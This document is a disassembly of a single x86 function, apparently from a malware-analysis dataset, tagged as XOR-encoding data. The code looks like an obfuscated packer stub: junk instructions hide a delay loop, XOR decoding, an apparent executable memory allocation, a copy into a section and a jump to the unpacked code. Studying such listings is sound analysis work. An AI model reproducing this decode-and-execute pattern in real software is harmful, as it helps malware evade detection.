Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xe77b3b79
and eax, edx
and edx, eax
sub edx, eax
popal
sub eax, edx
add edx, 1
dec eax
mov edi, 0
mov esi, edx
sub ebx, ecx
mov ebx, ecx
mov eax, esi
mov ecx, 0x4d942c0e
not ecx
sub ebx, 0x29cbbc8f
mov edx, eax
dec ebx
mov ebx, ecx
sub ebx, ecx
inc edi
add ecx, ebx
add ebx, 0xb4cb2765
mov ebx, ecx
cmp edi, 0x1005ee6
jne 0xa789c7
sub ecx, ebx
sub ebx, 0x72561162
sub ebx, ecx
sub eax, 0x2e176d98
mov edx, eax
mov ecx, 0xa78796
mov esi, 0x51ade7f3
mov esi, edi
add esi, esi
mov edx, 0xa7898a
add edi, edi
sub esi, edi
mov ebx, dword [ecx]
or esi, eax
mov edi, 0x35016525
and ebx, 0xff
add edi, 0xce1991ca
mov edi, 0x6e38c76c
and edi, esi
xor dword [edx], ebx
dec edi
mov edi, 0x8703ec96
add esi, esi
inc edx
mov edi, 0x879daacf
add edi, 1
sub edi, 1
inc ecx
not eax
sub eax, edi
add eax, eax
cmp edx, entry0
jl 0xa78a23
mov edi, 0xf47cbcb5
and edi, edi
or edi, eax
add eax, 0x78b9bf93
sub edi, 0x7384cbe1
add edi, edi
sub esi, edi
add edi, 1
inc edi
mov edx, 0xa7898e
mov ebx, 0xda4f31dd
add ebx, 1
mov ecx, ebx
mov edx, dword [edx]
add edi, esi
mov ebx, 0x7b6287de
add edi, esi
mov edx, dword [edx]
and edi, esi
mov ebx, edi
sub esp, 4
mov dword [esp], edx
add ebx, esi
inc esi
mov edx, 0xa7898a
mov ecx, 0xacd5a21b
add ecx, 0x77b2a3e2
mov edx, dword [edx]
inc ebx
add esi, edi
mov ecx, esi
mov edx, dword [edx]
add ecx, ebx
add ecx, 0x293adb33
mov ebx, 0x52ef9fef
sub esp, 4
mov dword [esp], 0xa78992
and edi, ecx
add ebx, 0xf16805d2
mov esi, ebx
call edx
sub ebx, ecx
mov ecx, edi
not edi
mov edx, dword [esp]
add esp, 4
dec edi
mov ebx, edi
push 0xa7899f
mov ecx, edi
mov esi, 0xc5a296c7
add ebx, esi
push eax
mov esi, edi
not ecx
add ecx, 0x50335a35
call edx
and ebx, esi
add ebx, esi
push 0x40
dec ebx
not ebx
push 0x3000
add ecx, 0x40b6ec67
sub esi, 0x91711a9c
sub esp, 4
mov dword [esp], 0x200003b7
sub esi, 0xe0f5b061
add edi, ecx
push 0
dec ecx
dec ecx
call eax
add ebx, edi
not esi
not esi
add eax, 0x20000314
dec ebx
and edi, ebx
or ebx, esi
mov edx, 0x86b6e55
inc esi
add esi, ecx
mov dword [eax], edx
add ebx, ecx
mov ecx, edi
add edi, 0x79af7ea3
mov edx, dword [eax]
sub edi, esi
add ecx, 0x8410f1f2
cmp edx, 0x86b6e55
je 0xa78b96
mov ecx, 0
mov byte [ecx], bl
add edi, 0x401dc87e
mov edi, esi
mov ecx, esi
not esi
sub esi, edi
and ecx, edi
or edx, eax
inc edx
mov ecx, section..reltc
mov eax, edx
mov edx, eax
mov edi, 0xa78795
and eax, eax
sub edx, eax
or edx, edx
mov ebx, 0
inc eax
mov eax, 0xeea12694
mov esi, 0xa78796
sub eax, edx
mov eax, 0x452b318f
add eax, 1
lea esi, [ebx + esi]
sub eax, edx
and edx, edx
mov esi, dword [esi]
sub edx, 0x211aaead
not eax
and esi, 0xff
dec eax
dec edx
or edx, eax
add ebx, 1
sub edx, eax
mov edx, 0x1032b3b6
add eax, 1
cmp ebx, 0x1f4
jne 0xa78c15
mov ebx, 0
not eax
sub eax, 0x5aec4e0a
and eax, eax
inc edx
not edx
xor dword [ecx], esi
add eax, 0x1b2b5043
add edx, edx
sub edx, 0xf8070489
add ecx, 2
mov eax, edx
inc edx
inc edx
cmp ecx, edi
jl 0xa78bc8
add eax, edx
dec eax
sub eax, 1
or edx, eax
or eax, eax
mov ecx, section..reltc
mov ebx, edx
sub ebx, 0x1082f2e2
and edx, edx
mov edi, section..reltc
mov ebx, edx
sub ebx, 0xcb07d0ab
mov esi, 0xa78795
or edx, ebx
sub edx, ebx
mov eax, 0
mov edx, ebx
inc edx
sub edx, 0x2e9ca811
mov al, byte [edi]
add edx, 0x47cbf3fc
sub edx, ebx
mov byte [ecx], al
dec ebx
or ebx, ebx
mov edx, 0x44642896
inc ecx
and edx, edx
sub edx, ebx
mov edx, ebx
add edi, 2
inc ebx
sub ebx, edx
sub ebx, 0x45beff63
cmp edi, esi
jle 0xa78c84
add edx, 0x194aeca7
sub ebx, 0x44a09ca6
sub edx, 0xc7740efd
and eax, edx
add edx, edx
sub esp, 4
mov dword [esp], 0x8dc6a0
dec edx
dec eax
mov eax, 0xd0af9948
ret